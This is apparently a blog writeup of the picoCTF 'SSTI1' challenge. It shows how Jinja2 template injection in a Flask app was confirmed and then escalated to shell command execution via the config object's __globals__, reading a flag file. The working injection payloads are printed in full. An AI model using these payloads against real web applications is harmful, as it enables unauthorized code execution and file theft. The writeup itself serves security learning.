Christopher Ferrari

picoCTF: SSTI1 — Writeup

Published on June 3, 2025

Challenge: picoCTF: SSTI1

Difficulty: Easy

Description: I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps!

There's our hint.

Initial Testing

I entered {{7*7}}, which evaluated to 49, proving that input was being executed. The math working confirmed that a Python-based templating engine was in use - specifically Jinja2 since this is the standard syntax.

My Theory

Once I saw that template injection was possible, I knew I needed to access Python objects to escalate to code execution. Flask applications typically expose configuration objects in their templates, so that seemed like the logical starting point.

Exploitation Chain

I started by accessing Flask's config object:

{{config.items()}}

It returned application configuration data, which meant internal Python objects were accessible. I built off that by leveraging the fact that Python methods have a __globals__ attribute that points to their surrounding scope. Using that, I reached the OS module and executed system commands:

{{config.from_envvar.__globals__.os.popen('ls /').read()}}

That worked. I listed the contents of /challenge:

{{config.from_envvar.__globals__.os.popen('ls /challenge').read()}}

Saw a file called flag, then grabbed it with:

{{config.from_envvar.__globals__.os.popen('cat /challenge/flag').read()}}

Key Takeaway

Everything followed from a small test. I didn't need to know the exact backend. Once Python-style syntax worked, I used the structure of the language to access what I needed and escalate to full code execution. No guessing, just controlled probing and execution.

Template injection is all about understanding object relationships. The __globals__ technique works because Python methods retain references to their defining scope, allowing access to imported modules like os. Sometimes the direct approach beats complex payload crafting.